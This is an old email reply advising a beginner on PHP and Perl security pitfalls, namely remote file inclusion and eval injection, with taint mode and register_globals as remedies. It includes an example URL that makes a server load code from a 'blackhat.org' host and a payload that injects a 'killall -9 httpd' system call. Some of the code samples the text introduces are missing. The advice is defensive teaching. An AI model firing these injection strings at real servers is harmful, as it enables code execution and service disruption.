From: Aredridel To: chrisb@bodger.org Cc: Bcc: Subject: Re: coding and security Reply-To: In-Reply-To: X-Arbitrary-Number-Of-The-Day: 42 On Sat, May 29, 2004 at 12:20:45AM -0700, Chris Black wrote: > So. > > As you all know from my various clueless newbie questions on IRC, I'm > trying to "learn to code". I realize that's a pretty vague goal. Heck, > I haven't developed too many set notions of what languages I want to > start with or what exactly I'm trying to do, but I want to sumbit this > for your opinions: > > Of the mistakes, omissions, and sloppy coding of the sort a newbie is > bound to make, which are likely to pose a security threat? I'd really > prefer not to give away root on Paradoxical through a hole in a PHP > script or something similarly unpleasant. #1: include($variablename); and require($variablename); -- those two are the root of most PHP break-ins. If $variablename is -always- set to one of a few known values ahead of time, good. However, if you do this: You're in for it. It seems innocuous enough: Put in a URL like http://server/loader.php?module=section1.php -- you get header, the content, a footer. Cheap, easy to code and insecure. Say I make a page like so: (call it foo.txt, and it lives at http://blackhat.org/~user/foo.txt) You've been rooted the second someone puts http://server/loader.php?module=http://blackhat.org/~user/foo.txt into their browser. Polis got hit this way -- not rooted, but someone gained access to the http account (which has write access to wiki, and read access to some mysql passwords). If I hadn't updated the kernel recently, it'd have been rooted, too. Thankfully, the ptrace() exploit doesn't work on kernel 2.6.5. Equally evil but much more obvious is the use of eval() with user-supplied input: eval lets you run a string of PHP. So if you eval($var), and have $var set by the user, then someone can enter ?var=system('killall%20-9%20httpd'); There's more complex scenarios, since a bare eval($var); is rare, but eval ("$varname = '$varvalue'") is pretty common. Just use some extra apostrophes in $varvalue and you've broken it. > I'd welcome any thoughts any of you have in the general vein of "these > are some thing you must do, and you must not do these, even if you do > nothing else right." I'm most likely going to be working mostly in PHP > and perl for the moment, but hints about other languages/markups and > good programming habits in general are welcome, too. Perl has a special option for this. -t. It enables "Taint mode", which makes you work extra hard to pass a variable that could be tampered with to a more sensitive function. Ruby has similar: set $SAFE to 3 or 4 and you're in good hands. Once you do that, if there's a variable that isn't auto-tainted (like CGI variables), you just do var.taint, and it is now, and can't be eval()ed, system()ed or even opened as a file. Also, PHP has a safe_mode that can moderate some effects, but it makes programming a pain in the ass. You can also disable register_globals, which means you -know- when you're using questionable data: instead of ?var=foo setting $var, it only sets $_GET['var'] -- much more obvious that it's not an internal variable. Ari